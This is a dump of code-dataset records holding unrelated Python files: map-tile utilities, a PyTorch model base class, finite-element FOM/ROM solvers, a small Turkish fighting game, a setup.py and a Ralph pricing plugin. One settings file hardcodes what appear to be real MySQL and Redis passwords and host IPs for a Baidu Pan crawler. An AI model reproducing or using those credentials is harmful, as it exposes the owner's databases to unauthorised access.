TILE_SIZE\n * (0.5 - math.log((1 + siny) / (1 - siny)) / (4 * math.pi))\n * math.pow(2, zoom)\n )\n )\n\n def getTileX(self, zoom: int) -> int:\n \"\"\"\n\n :param zoom:\n :type zoom: int\n :return:\n :rtype: int\n \"\"\"\n return int(self.getPixelX(zoom) / TILE_SIZE)\n\n def getTileY(self, zoom: int) -> int:\n \"\"\"\n\n :param zoom:\n :type zoom: int\n :return:\n :rtype: int\n \"\"\"\n return int(self.getPixelY(zoom) / TILE_SIZE)\n\n\nclass MapTile:\n def __init__(self, x: int, y: int, s: int):\n \"\"\"\n\n :param x:\n :type x: int\n :param y:\n :type y: int\n :param s:\n :type s: int\n \"\"\"\n self.x = x\n self.y = y\n self.s = s\n self.is_tile_not_blank = False\n\n def __str__(self) -> str:\n return f\"{self.x}_{self.y}\"\n\n def __repr__(self) -> str:\n return f\"{self.__class__.__name__}({self.x}, {self.y}, {self.s})\"\n\n def __eq__(self, other: Any) -> bool:\n return self.x == other.x and self.y == other.y and self.s == other.s\n\n def getImage(self, overwrite: bool = False) -> np.ndarray:\n \"\"\"\n\n :param overwrite:\n :type overwrite: bool\n :return:\n :rtype: numpy.ndarray\n \"\"\"\n raw = os.path.join(MAPBOX_CACHE, \"raw\")\n if not os.path.isdir(raw):\n os.mkdir(raw)\n scalefolder = os.path.join(raw, str(self.s))\n if not os.path.isdir(scalefolder):\n os.mkdir(scalefolder)\n\n impath = os.path.join(scalefolder, str(self) + \".jpg\")\n\n if ((not os.path.exists(impath)) or overwrite) and not (maps is None):\n response = maps.tile(\n \"mapbox.satellite\", self.x, self.y, self.s, retina=True\n )\n if response.status_code == 200:\n with open(impath, \"wb\") as output:\n output.write(response.content)\n # LOGGER.debug(f\"x: {str(self.x)}, y: {str(self.y)}, s: {str(self.s)}\\n\")\n\n if os.path.isfile(impath):\n self.is_tile_not_blank = True\n return plt.imread(impath, \"jpeg\")\n else:\n return np.zeros((TILE_SIZE, TILE_SIZE, 3), dtype=np.uint8) # np generates float by default, pillow doesnt support that\n\n def imageExists(self) -> bool:\n \"\"\"\n\n :return:\n :rtype: bool\n \"\"\"\n return os.path.isfile(\n os.path.join(MAPBOX_CACHE, \"raw\", str(self.s), str(self) + \".png\")\n )\n\n\nclass TileGrid:\n def __init__(self, p1: MapPoint, p2: MapPoint, s: int):\n \"\"\"\n\n :param p1:\n :type p1: MapPoint\n :param p2:\n :type p2: MapPoint\n :param s:\n :type s: int\n \"\"\"\n self.p1 = p1\n self.p2 = p2\n self.scale = min(s, 18)\n self.ta = []\n self.xMin = None\n self.xMax = None\n self.yMin = None\n self.yMax = None\n self.tile_x_min = None\n self.tile_x_max = None\n self.tile_y_min = None\n self.tile_y_max = None\n self.width = None\n self.height = None\n self.genTileArray()\n if self.width > 5 or self.height > 5:\n LOGGER.warning(f\"Large map ({self.width}x{self.height} tiles)\")\n\n def __str__(self) -> str:\n return f\"{self.scale}_{self.tile_x_min}-{self.tile_x_max}_{self.tile_y_min}-{self.tile_y_max}\"\n\n def genTileArray(self) -> None:\n \"\"\"\n\n \"\"\"\n t1 = pointToTile(self.p1, self.scale)\n t2 = pointToTile(self.p2, self.scale)\n self.tile_x_min = min(t1.x, t2.x)\n self.tile_x_max = max(t1.x, t2.x)\n self.tile_y_min = min(t1.y, t2.y)\n self.tile_y_max = max(t1.y, t2.y)\n\n self.xMin = self.tile_x_min / pow(2, self.scale)\n self.xMax = (self.tile_x_max + 1) / pow(2, self.scale)\n self.yMin = self.tile_y_min / pow(2, self.scale)\n self.yMax = (self.tile_y_max + 1) / pow(2, self.scale)\n # LOGGER.debug(str(self.xMin) + \" \" + str(self.xMax) + \" \" + str(self.yMin) + \" \" + str(self.yMax))\n\n ta = []\n\n for i in range(self.tile_y_min, self.tile_y_max + 1):\n row = []\n for j in range(self.tile_x_min, self.tile_x_max + 1):\n row.append(MapTile(j, i, self.scale))\n ta.append(row)\n self.ta = ta\n\n self.width = len(self.ta[0])\n self.height = len(self.ta)\n\n def downloadArrayImages(self, attempts: int = 3, overwrite: bool = False) -> None:\n \"\"\"\n\n :param attempts:\n :type attempts: int\n :param overwrite:\n :type overwrite: bool\n \"\"\"\n LOGGER.debug(f\"Beginning download of size {str(self.scale)} tiles.\")\n t1 = time.perf_counter()\n\n def getRow(row):\n for i in row:\n a = attempts\n while (not i.imageExists()) and (a > 0):\n i.getImage(overwrite=overwrite)\n a = a - 1\n\n with concurrent.futures.ThreadPoolExecutor() as executor:\n executor.map(getRow, self.ta)\n t2 = time.perf_counter()\n LOGGER.debug(f\"Successfully downloaded size {str(self.scale)} tiles in {t2 - t1} seconds.\")\n\n def genStitchedMap(self, overwrite: bool = False) -> np.ndarray:\n \"\"\"\n\n :param overwrite:\n :type overwrite: bool\n :return:\n :rtype: numpy.ndarray\n \"\"\"\n\n def appendv(A, B):\n if A is None:\n return B\n elif B is None:\n return A\n else:\n return np.vstack((A, B))\n\n def appendh(A, B):\n if A is None:\n return B\n elif B is None:\n return A\n else:\n return np.column_stack((A, B))\n\n out = os.path.join(MAPBOX_CACHE, \"out\")\n if not os.path.isdir(out):\n os.mkdir(out)\n\n outfile = os.path.join(out, f\"output_{str(self)}.png\")\n\n if (not os.path.isfile(outfile)) or overwrite:\n LOGGER.debug(f\"Generating size {str(self.scale)} map!\")\n\n t1 = time.perf_counter()\n\n is_img_not_blank = False\n img = None\n for i in self.ta:\n row = None\n for j in i:\n row = appendh(row, j.getImage())\n if j.is_tile_not_blank is True:\n is_img_not_blank = True\n\n img = appendv(img, row)\n\n if is_img_not_blank is True:\n plt.imsave(outfile, img)\n\n t2 = time.perf_counter()\n LOGGER.debug(f\"Successfully generated size {str(self.scale)} map in {t2 - t1} seconds.\")\n return img\n else:\n LOGGER.debug(f\"Found size {str(self.scale)} map!\")\n return plt.imread(outfile, \"jpeg\")\n\n\ndef pointToTile(p: MapPoint, s: int) -> MapTile:\n \"\"\"\n\n :param p:\n :type p: MapPoint\n :param s:\n :type s: int\n :return:\n :rtype: MapTile\n \"\"\"\n return MapTile(math.floor(p.x * 2.0 ** s), math.floor(p.y * 2.0 ** s), s)\n","sub_path":"main_window/competition/mapping/mapbox_utils.py","file_name":"mapbox_utils.py","file_ext":"py","file_size_in_byte":9756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"327300658","text":"import os\r\nimport torch\r\nfrom collections import OrderedDict\r\nfrom . import utils\r\n\r\n\r\nclass BaseModel():\r\n def initialize(self, opt):\r\n self.opt = opt\r\n self.isTrain = opt.isTrain\r\n self.save_dir = os.path.join(opt.ckpt_dir, opt.name)\r\n\r\n self.model_names = []\r\n self.loss_names = []\r\n self.optimizers = []\r\n\r\n self.epoch_losses = OrderedDict()\r\n\r\n def setup(self):\r\n # set schedulers #\r\n if self.isTrain:\r\n self.schedulers = [utils.get_scheduler(optimizer, self.opt) for optimizer in self.optimizers]\r\n\r\n # load or initialize networks #\r\n if not self.isTrain:\r\n self.load_networks(self.opt.load_epoch)\r\n else:\r\n self.init_networks()\r\n\r\n # save networks arch. to disk #\r\n self.print_networks()\r\n\r\n # networks to cuda #\r\n if len(self.opt.gpu_ids):\r\n self.to_cuda()\r\n\r\n # reset epoch loss dict. #\r\n self.reset_epoch_losses()\r\n\r\n def init_networks(self):\r\n for name in self.model_names:\r\n print('{:>3} : '.format(name), end='')\r\n net = getattr(self, name)\r\n if not 'gen' in name:\r\n utils.init_weights(net, 'normal')\r\n else:\r\n utils.init_weights(net, self.opt.init_type)\r\n\r\n def to_cuda(self):\r\n for name in self.model_names:\r\n net = getattr(self, name)\r\n setattr(self, name, net.cuda())\r\n\r\n def update_lr(self):\r\n for scheduler in self.schedulers:\r\n scheduler.step()\r\n lr = self.optimizers[0].param_groups[0]['lr']\r\n print('learning rate = %.7f' % lr)\r\n\r\n def save_networks(self, epoch):\r\n for name in self.model_names:\r\n save_filename = '%s_%s.pth' % (epoch, name)\r\n save_path = os.path.join(self.save_dir, save_filename)\r\n net = getattr(self, name)\r\n\r\n print('saving the model to {}'.format(save_path))\r\n if len(self.opt.gpu_ids):\r\n torch.save(net.cpu().state_dict(), save_path)\r\n net.cuda()\r\n else:\r\n torch.save(net.cpu().state_dict(), save_path)\r\n\r\n # load models from the disk\r\n def load_networks(self, epoch, save_dir=None):\r\n for name in self.model_names:\r\n load_filename = '%s_%s.pth' % (epoch, name)\r\n if save_dir is None:\r\n save_dir = self.save_dir\r\n load_path = os.path.join(save_dir, load_filename)\r\n net = getattr(self, name)\r\n\r\n print('loading the model from {}'.format(load_path))\r\n state_dict = torch.load(load_path)\r\n net.load_state_dict(state_dict)\r\n\r\n def print_networks(self):\r\n for name in self.model_names:\r\n if isinstance(name, str):\r\n net = getattr(self, name)\r\n num_params = 0\r\n for param in net.parameters():\r\n num_params += param.numel()\r\n save_path = os.path.join(self.save_dir, name + '.txt')\r\n with open(save_path, 'wt') as f:\r\n f.write(str(net))\r\n f.write('\\nTotal number of parameters: {}'.format(num_params))\r\n\r\n def get_current_losses(self):\r\n loss_dict = OrderedDict()\r\n for name in self.loss_names:\r\n loss_dict[name] = float(getattr(self, 'loss_'+name))\r\n return loss_dict\r\n\r\n def reset_epoch_losses(self):\r\n for name in self.loss_names:\r\n self.epoch_losses[name] = 0.0\r\n\r\n def sum_epoch_losses(self):\r\n for name in self.loss_names:\r\n self.epoch_losses[name] += float(getattr(self, 'loss_'+name))\r\n\r\n def set_requires_grad(self, nets, requires_grad=False):\r\n if not isinstance(nets, list):\r\n nets = [nets]\r\n for net in nets:\r\n if net is not None:\r\n for param in net.parameters():\r\n param.requires_grad = requires_grad\r\n","sub_path":"models/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":3993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"488094284","text":"a = 80000\r\nb = 200000\r\nta = 0.03\r\ntb = 0.015\r\nano = 0\r\nwhile a < b:\r\n a = (a*ta)+a\r\n b = (b*tb)+b\r\n ano = ano + 1\r\nprint(f\"Serão necessários {ano} anos para se igualarem\")","sub_path":"Lista 3/Exercício 3.py","file_name":"Exercício 3.py","file_ext":"py","file_size_in_byte":182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"214988151","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom celluloid import Camera\n\n\n\n\ndef set_up_Newmark_coefficients(dt, alpha=0.25, beta=0.5):\n a0=1/(alpha*(dt**2))\n a1=beta/(alpha*dt)\n a2=1/(alpha*dt)\n a3=(1/(2*alpha))-1\n a4=(beta/alpha)-1\n a5=(dt/2)*((beta/alpha)-2)\n a6=dt*(1-beta)\n a7=beta*dt\n\n return a0,a1,a2,a3,a4,a5,a6,a7\n\n\n\n\ndef Nonlinear_1D_Bar_FOM(number_of_elements,total_time,time_step_size):\n number_of_time_steps =int(total_time/time_step_size)\n a0,a1,a2,a3,a4,a5,a6,a7= set_up_Newmark_coefficients(time_step_size)\n restrained_dofs=[0,] #clamped bc\n deltaX= np.zeros((number_of_elements+1,1))\n tol=1e-6 #Setting tolerance for the nonlinear iterations\n U = np.zeros((number_of_elements+1,1)) #initializing displacements\n U[-1] = 0.1\n Un = U.copy()\n Ud=np.zeros((number_of_elements+1,1))#initializing velocities\n Udn=Ud.copy()\n Udd=np.zeros((number_of_elements+1,1)) #initializing acceleration\n Uddn=Udd.copy()\n F= np.zeros((len(U), 1)) #creating the force of zeros\n #F[number_of_elements]=0.1 #Applying a force at the end of the bar\n K_static_el=(np.array([[2,0],[0,2]]) * float(number_of_elements)) #For nonlinear case f=u**2 -1\n M_el= np.array([[2,1],[1,2]]) / (6. * number_of_elements )\n SnapshotsMatrixDisplacements = np.zeros(((len(U)), number_of_time_steps))\n SnapshotsMatrixVelocities = np.zeros(((len(U)), number_of_time_steps))\n SnapshotsMatrixAccelerations = np.zeros(((len(U)), number_of_time_steps))\n\n #Time step loop\n for time_step in range (number_of_time_steps):\n print(\"time step\", time_step)\n\n U=Un.copy()\n Ud=Udn.copy()\n Udd=Uddn.copy()\n Un=U+(Ud*time_step_size)\n\n Uddn=a0*(Un-U)-a2*Ud-a3*Udd #obtain acceleration using Newmark coefficients\n Udn=Ud+a6*Udd+a7*Uddn #obtain velocity using Newmark coefficients\n\n deltaX[number_of_elements-1]=50 #Setting a high value of dx to enter loop\n iter=0\n\n while np.linalg.norm(deltaX)>tol:\n iter+=1\n print(\"iteration\", iter)\n\n #Creating the global K and R for Newton-Raphson\n Residual_global = np.zeros((number_of_elements+1,1))\n K_dynamic_global = np.zeros((number_of_elements+1,number_of_elements+1))\n\n #Assemble contributions for every element\n for i in range(number_of_elements):\n F_ext_el=F[i:i+2,0]\n Un_el=Un[i:i+2,0]\n Uddn_el=Uddn[i:i+2,0]\n\n F_int_el = np.power(Un_el,2)-1 #This is the nonlinear term f(x)\n\n Residual_element=F_ext_el-F_int_el-(M_el@Uddn_el)\n\n #Tangent matrix\n K_dynam_el=K_static_el+(a0*M_el)\n\n auxiliary_variable_assemeble_K=np.zeros((number_of_elements+1,number_of_elements+1))\n auxiliary_variable_assemble_R=np.zeros((number_of_elements+1,1))\n\n auxiliary_variable_assemeble_K[i:i+2,i:i+2] = K_dynam_el\n auxiliary_variable_assemble_R[i:i+2,0] = Residual_element\n\n K_dynamic_global+=auxiliary_variable_assemeble_K\n Residual_global+=auxiliary_variable_assemble_R\n\n\n #Remove fixed degrees of freedom\n for dof in restrained_dofs:\n K_dynamic_global = np.delete(K_dynamic_global, dof, axis=0)\n K_dynamic_global = np.delete(K_dynamic_global, dof, axis=1)\n Residual_global= np.delete(Residual_global, dof, axis=0)\n\n #Solve global system\n dx=np.linalg.solve(K_dynamic_global, Residual_global)\n\n #Correcting displacement\n deltaX[1:number_of_elements+1,0] = dx.transpose()\n Un = Un + deltaX\n\n\n Uddn=a0*(Un-U)-a2*Ud-a3*Udd #update acceleration using Newmark coefficients\n Udn=Ud+a6*Udd+a7*Uddn #update velocity using Newmark coefficients\n\n SnapshotsMatrixDisplacements[:,time_step]=Un.T\n SnapshotsMatrixVelocities[:,time_step]=Udn.T\n SnapshotsMatrixAccelerations[:,time_step]=Uddn.T\n\n\n return SnapshotsMatrixDisplacements, SnapshotsMatrixVelocities, SnapshotsMatrixAccelerations\n\n\n\n\n\n\ndef Nonlinear_1D_Bar_ROM(number_of_elements, total_time, time_step_size, Phi):\n number_of_time_steps =int(total_time/time_step_size)\n number_of_dofs = int (Phi.shape[1])\n a0,a1,a2,a3,a4,a5,a6,a7= set_up_Newmark_coefficients(time_step_size)\n restrained_dofs=[0,] #clamped bc\n tol=1e-6 #Setting tolerance for the nonlinear iterations\n deltaQ= np.zeros((number_of_dofs , 1))\n U = np.zeros((number_of_elements+1,1)) #initializing displacements\n U[-1] = 0.1\n q= Phi.T @ U #initializing displacement\n qn=q.copy()\n qd=np.zeros((number_of_dofs , 1))#initializing velocity\n qdn=qd.copy()\n qdd=np.zeros((number_of_dofs , 1)) #initializing acceleration\n qddn=qdd.copy()\n F= np.zeros((Phi.shape[0], 1)) #creating the force of zeros\n #F[number_of_elements]=0.1 #Applying a force at the end of the bar\n K_static_el=(np.array([[2,0],[0,2]]) * float(number_of_elements)) #For nonlinear case f=u**2 -1\n M_el= np.array([[2,1],[1,2]]) / (6. * number_of_elements )\n SnapshotsMatrixDisplacementsReduced = np.zeros((Phi.shape[1], number_of_time_steps))\n SnapshotsMatrixVelocitiesReduced = np.zeros((Phi.shape[1], number_of_time_steps))\n SnapshotsMatrixAccelerationsReduced = np.zeros((Phi.shape[1], number_of_time_steps))\n\n #Time step loop\n for time_step in range (number_of_time_steps):\n print(\"time step\", time_step)\n\n q=qn\n qd=qdn\n qdd=qddn\n qn=q+(qd*time_step_size)\n\n qddn=a0*(qn-q)-a2*qd-a3*qdd #obtain acceleration using Newmark coefficients\n qdn=qd+a6*qdd+a7*qddn #obtain velocity using Newmark coefficients\n\n deltaQ[(number_of_dofs-1),0]=50 #Setting a high value of dx to enter loop\n\n iter=0\n while abs(sum(deltaQ))>tol:\n iter+=1\n print(\"iteration\", iter)\n\n #Creating the global K and R for NR\n Residual_global = np.zeros((number_of_dofs,1))\n K_dynamic_global = np.zeros((number_of_dofs,number_of_dofs))\n\n #Assemble contributions for every element\n for i in range(number_of_elements):\n Phi_elem = Phi[i:i+2,:]\n F_ext_el = (F[i:i+2,0:1])\n Un_el = Phi_elem @ qn\n Uddn_el = Phi_elem @ qddn\n\n #Calculate Residual\n F_int_el=np.power(Un_el,2)-1 #This is the nonlinear term f(x)\n\n #F_int_el=np.exp(Un_el)\n Residual_element = F_ext_el-F_int_el-(M_el @ Uddn_el)\n Residual_element_svd = Phi_elem.transpose() @ Residual_element\n\n\n #Calculate Tangent\n K_dynam_el=K_static_el+(a0*M_el)\n K_dynam_el_rom = Phi_elem.T @ K_dynam_el @ Phi_elem\n\n K_dynamic_global+=K_dynam_el_rom\n Residual_global+=Residual_element_svd\n\n\n #Remove fixed degrees of freedom\n #NO NEED TO REMOVE THEM WHEN USING HOMOGENEOUS BCs\n\n #Solve global system\n dx = np.linalg.solve(K_dynamic_global, Residual_global)\n\n #Correct displacement\n deltaQ=dx\n qn=qn + deltaQ\n\n qddn=a0*(qn-q)-a2*qd-a3*qdd #update acceleration using Newmark coefficients\n qdn=qd+a6*qdd+a7*qddn #update velocity using Newmark coefficients\n\n SnapshotsMatrixDisplacementsReduced[:,time_step] = qn.T\n SnapshotsMatrixVelocitiesReduced[:,time_step] = qdn.T\n SnapshotsMatrixAccelerationsReduced[:,time_step] = qddn.T\n\n SnapshotsMatrixDisplacements = Phi @ SnapshotsMatrixDisplacementsReduced\n SnapshotsMatrixVelocities = Phi @ SnapshotsMatrixVelocitiesReduced\n SnapshotsMatrixAccelerations = Phi @ SnapshotsMatrixAccelerationsReduced\n\n return SnapshotsMatrixDisplacements, SnapshotsMatrixVelocities, SnapshotsMatrixAccelerations\n\n\n\n\n\n\ndef plotting_solution(dis_FOM, dis_ROM, vel_FOM, vel_ROM, acc_FOM, acc_ROM, node_id):\n\n plt.figure()\n plt.plot(dis_FOM[node_id,:], 'go', label='FOM')\n plt.plot(dis_ROM[node_id,:], 'r', label='ROM')\n plt.title('Displacement comparison')\n\n plt.figure()\n plt.plot(vel_FOM[node_id,:], 'go', label='FOM')\n plt.plot(vel_ROM[node_id,:], 'r', label='ROM')\n plt.title('Velocity comparison')\n\n plt.figure()\n plt.plot(acc_FOM[node_id,:], 'go', label='FOM')\n plt.plot(acc_ROM[node_id,:], 'r', label='ROM')\n plt.title('Acceleration comparison')\n\n plt.show()\n\n\n\n\n\n\ndef compute_percentual_difference(Original, Approximation):\n return (np.linalg.norm(Original - Approximation) / np.linalg.norm(Original)) * 100\n\n\n\n\ndef compute_basis(SnapshotsMatrix, truncation_tolerance):\n #taking the svd\n u,s,v = np.linalg.svd(SnapshotsMatrix,full_matrices=False)\n\n #truncating matrix of left singular vectors\n DOWN =np.sum(np.power(s,2))\n UP=DOWN.copy()\n for i in range(len(s)):\n UP = UP - s[i]**2\n if np.sqrt(UP/DOWN)=1.2.4',\n 'behave-web-api==1.0.6',\n 'bottle==0.12.9',\n 'freezegun>=0.3.8',\n 'ordereddict==1.1',\n 'nose==1.3.7',\n 'requests>=2.0.0'\n]\n\n\nsetup(\n name='behave-web-api-extended',\n version=behave_web_api_extended.__version__,\n packages=['behave_web_api_extended', 'behave_web_api_extended.steps'],\n setup_requires=['wheel'],\n install_requires=install_requires,\n description=\"Provides additional testing for JSON APIs with Behave\",\n author='Victor Anjos',\n author_email='va@deeplearni.ng',\n license='MIT',\n classifiers=[\n 'Operating System :: OS Independent',\n 'Development Status :: 3 - Alpha',\n 'Environment :: Web Environment',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Topic :: Software Development :: Testing',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 2.7'\n ]\n)\n","sub_path":"pypi_install_script/behave-web-api-extended-0.1.5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"147010797","text":"import random\nimport time\n\nclass Oyuncu():\n def __init__(self, isim='oyuncu', can=100, defans=0, saldiri=0, hayat=True):\n self.isim = isim\n self.can = can\n self.defans = defans\n self.saldiri = saldiri\n self.hayat = hayat\n\n def bilgilerigöster(self):\n print(\"\"\"\nİsim : {}\nCan : {}\n\nDefans : {}\nSaldırı : {}\nHayat : {} \n \"\"\".format(self.isim, self.can, self.defans, self.saldiri, self.hayat))\n\n def saldir(self,rakip):\n if self.hayat:\n atak = random.randint(1,10)\n if str(atak) > str(rakip.defans):\n rakip.can -= atak\n else:\n print(\"*{}* saldırıyı karşıladı.\". format(self.isim))\n print(\"---------------------------\")\n else:\n print(\"Oldunuz\")\n print(\"{} Oyuncusunun yeni canı: {}.\". format(rakip.isim, rakip.can ))\n\nin_oyuncu1_isim = input(\"Oyuncu1 Adı:\")\nin_oyuncu2_isim = input(\"Oyuncu2 Adı:\")\n\noyuncu1 = Oyuncu(in_oyuncu1_isim,50,random.randint(1,10),random.randint(1,10),True)\noyuncu2 = Oyuncu(in_oyuncu2_isim,50,random.randint(1,10),random.randint(1,10),True)\n\nprint(\"Birinci Oyuncu\")\noyuncu1.bilgilerigöster()\nprint(\"İkinci Oyuncu\")\noyuncu2.bilgilerigöster()\n\nwhile True:\n\n if oyuncu1.can <= 0 or oyuncu2.can <= 0:\n break\n\n else:\n oyuncu1.saldir(oyuncu2)\n oyuncu2.saldir(oyuncu1)\n time.sleep(1)\n print(\"\\n\")\n","sub_path":"NewOyun.py","file_name":"NewOyun.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"247854529","text":"# -*- coding: utf-8 -*-\n# @Time : 2017/5/23 14:33\n# @Author : wrd\nimport oddds\n\n\nimport pymysql\n\nasgdmain_logging_filename = os.path.join((os.path.dirname(__file__)), \"logger\",'baidu.log')\nbase_uk = 2164327417\nconsume_sleeptime = 0\nproduct_sleeptime = 5\nmaxsize = 3000\nshare_url = 'http://pan.baidu.com/pcloud/feed/getsharelist?auth_type={0}&start={1}&limit={2}&query_uk={3}'\nfollow_url = 'http://pan.baidu.com/pcloud/friend/getfollowlist?start={0}&limit={1}&query_uk={2}'\nfan_url = 'http://pan.baidu.com/pcloud/friend/getfanslist?start={0}&limit={1}&query_uk={2}'\n# share_url_bak = 'http://pan.baidu.com/pcloud/feed/getsharelist?auth_type=1&query_uk=2164327417&limit=60&start=0'\n# follow_url_bak = 'http://pan.baidu.com/pcloud/friend/getfollowlist?query_uk=2164327417&limit=24&start=0'\n# fan_url_bak = 'http://pan.baidu.com/pcloud/friend/getfanslist?query_uk=2164327417&limit=24&start=0'\n\nproducer_process = 1\n# 生产者日志\nproducer_logging_filename = os.path.join((os.path.dirname(__file__)), \"logger\",'producer.log')\n# 消费之日志\nconsumer_logging_filename = os.path.join((os.path.dirname(__file__)), \"logger\",'consumer.log')\nconsumer_process = 2\n\nhttp_config = {\n \"headers\": {\n 'accept': \"application/json, text/javascript, */*; q=0.01\",\n 'accept-encoding': \"gzip, deflate, sdch\",\n 'accept-language': \"zh-CN,zh;q=0.8\",\n 'connection': \"keep-alive\",\n 'host': \"pan.baidu.com\",\n 'referer': \"http://pan.baidu.com/share/home?uk=2084488645&third=1&view=share\",\n 'user-agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",\n 'x-requested-with': \"XMLHttpRequest\",\n 'cache-control': \"no-cache\",\n },\n # \"proxy_host\":'http://124.251.42.254',\n # \"proxy_port\": 3128\n}\nmysql_config = {\n 'host': '120.26.214.19',\n 'port': 3306,\n 'user': 'root',\n 'password': 'putao1234',\n 'db': 'pt_db',\n 'charset': 'utf8',\n 'cursorclass': pymysql.cursors.DictCursor\n}\nredis_conf = {\n 'host': '45.76.187.121',\n 'port': 6379,\n 'password': 'w1314921',\n 'db': 1,\n 'decode_responses': True\n}\n\ndef get_http_config():\n return http_config\n\n\n# spide_ip 的配置\n\ntest_url='http://1212.ip138.com/ic.asp'\nfirst_url = 'http://www.xicidaili.com/nn/'\nsecond_url = 'http://www.coobobo.com/free-http-proxy/'\nthird_url = 'http://www.httpdaili.com/mfdl/'\nip_logging_filename = os.path.join((os.path.dirname(__file__)), \"logger\",'ips.log')\nchkip_logging_filename = os.path.join((os.path.dirname(__file__)), \"logger\",'check_ips.log')\npage_num = 2 # 取5页\nsleep_tims = 2400 # 睡眠300s\ncheck_process = 3\nip_http_config = {\n \"headers\": {\n 'accept': \"application/json, text/javascript, */*; q=0.01\",\n 'accept-encoding': \"gzip, deflate, sdch\",\n 'accept-language': \"zh-CN,zh;q=0.8\",\n 'connection': \"keep-alive\",\n 'host': \"www.xicidaili.com\",\n 'referer': \"www.xicidaili.com\",\n 'user-agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",\n 'x-requested-with': \"XMLHttpRequest\",\n 'cache-control': \"no-cache\",\n },\n}\n\n\ndef get_ip_http_config():\n return ip_http_config\n\n\nsql_logging_filename = os.path.join((os.path.dirname(__file__)), \"logger\",'query_sql.log')\n","sub_path":"setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"571200637","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport logging\nfrom decimal import Decimal as D\n\nfrom django.db.transaction import commit_on_success\n\nfrom ralph.util import plugin\nfrom ralph_assets.api_pricing import get_assets\nfrom ralph_pricing.models import (\n Device,\n DailyDevice,\n Venture,\n DailyUsage,\n UsageType,\n Warehouse,\n)\n\n\nlogger = logging.getLogger(__name__)\n\n\n@commit_on_success\ndef update_assets(data, date, usages):\n \"\"\"\n Updates single asset.\n\n Creates asset (Device object for backward compatibility) if not exists,\n then creates daily snapshot of this device.\n\n Only assets with assigned device and warehouse are processed!\n \"\"\"\n created = False\n if not data['ralph_id']:\n return False\n\n if not data['warehouse_id']:\n logger.warning(\n 'Empty warehouse_id for asset with ralph_id {0}', data['ralph_id']\n )\n return False\n\n try:\n warehouse = Warehouse.objects.get(\n id=data['warehouse_id'],\n )\n except Warehouse.DoesNotExist:\n logger.warning(\n 'Invalid warehouse_id ({0}) for asset with ralph_id {1}',\n data['warehouse_id'],\n data['ralph_id'],\n )\n return False\n\n # clear previous assignments of device_id (ralph_id), sn and barcode\n # for assets with different asset_id than actual\n for data_key, model_key in [\n ('ralph_id', 'device_id'),\n ('sn', 'sn'),\n ('barcode', 'barcode'),\n ]:\n if data[data_key] is not None:\n query = Device.objects.exclude(\n asset_id=data['asset_id']\n ).filter(\n **{model_key: data[data_key]}\n )\n for device in query:\n logger.warning('Replacing {} to None in asset {}'.format(\n model_key,\n device,\n ))\n query.update(\n **{model_key: None}\n )\n\n # get or create asset\n device, created = Device.objects.get_or_create(asset_id=data['asset_id'])\n\n # device info\n device.device_id = data['ralph_id']\n device.slots = data['slots']\n device.sn = data['sn']\n device.barcode = data['barcode']\n device.is_blade = bool(data['is_blade'])\n device.save()\n\n # daily device 'snapshot'\n daily_device, daily_device_created = DailyDevice.objects.get_or_create(\n date=date,\n pricing_device=device,\n )\n if data.get('venture_id') is not None:\n venture, venture_created = Venture.objects.get_or_create(\n venture_id=data['venture_id'],\n )\n daily_device.pricing_venture = venture\n else:\n logger.warning('Asset {0} has no venture'.format(data['asset_id']))\n return False\n\n daily_device.price = data['price'] or D(0)\n daily_device.deprecation_rate = data['deprecation_rate']\n daily_device.is_deprecated = data['is_deprecated']\n daily_device.save()\n\n # cores count usage\n update_usage(\n data['cores_count'],\n date,\n daily_device.pricing_venture,\n warehouse,\n usages['core'],\n device,\n )\n\n # power consumption usage\n update_usage(\n data['power_consumption'],\n date,\n daily_device.pricing_venture,\n warehouse,\n usages['power_consumption'],\n device,\n )\n\n # height of device usage\n update_usage(\n data['height_of_device'],\n date,\n daily_device.pricing_venture,\n warehouse,\n usages['collocation'],\n device,\n )\n\n return created\n\n\ndef update_usage(value, date, venture, warehouse, usage_type, device):\n \"\"\"Updates (or creates) usage of given usage_type for device.\"\"\"\n usage, usage_created = DailyUsage.objects.get_or_create(\n date=date,\n type=usage_type,\n pricing_device=device,\n )\n if venture is not None:\n usage.pricing_venture = venture\n if usage_type.by_warehouse and warehouse is not None:\n usage.warehouse = warehouse\n usage.value = value\n usage.save()\n\n\ndef get_core_usage():\n \"\"\"Creates physical cpu cores usage type if not created.\"\"\"\n usage_type, created = UsageType.objects.get_or_create(\n symbol='physical_cpu_cores',\n defaults=dict(\n name=\"Physical CPU cores\",\n average=True,\n )\n )\n return usage_type\n\n\ndef get_power_consumption_usage():\n \"\"\"Creates power consumption usage type if not created.\"\"\"\n usage_type, created = UsageType.objects.get_or_create(\n symbol='power_consumption',\n defaults=dict(\n name=\"Power consumption\",\n by_warehouse=True,\n by_cost=True,\n ),\n )\n return usage_type\n\n\ndef get_collocation_usage():\n \"\"\"Creates power consumption usage type if not created.\"\"\"\n usage_type, created = UsageType.objects.get_or_create(\n symbol='collocation',\n defaults=dict(\n name=\"Collocation\",\n by_warehouse=True,\n by_cost=True,\n ),\n )\n return usage_type\n\n\n@plugin.register(chain='pricing', 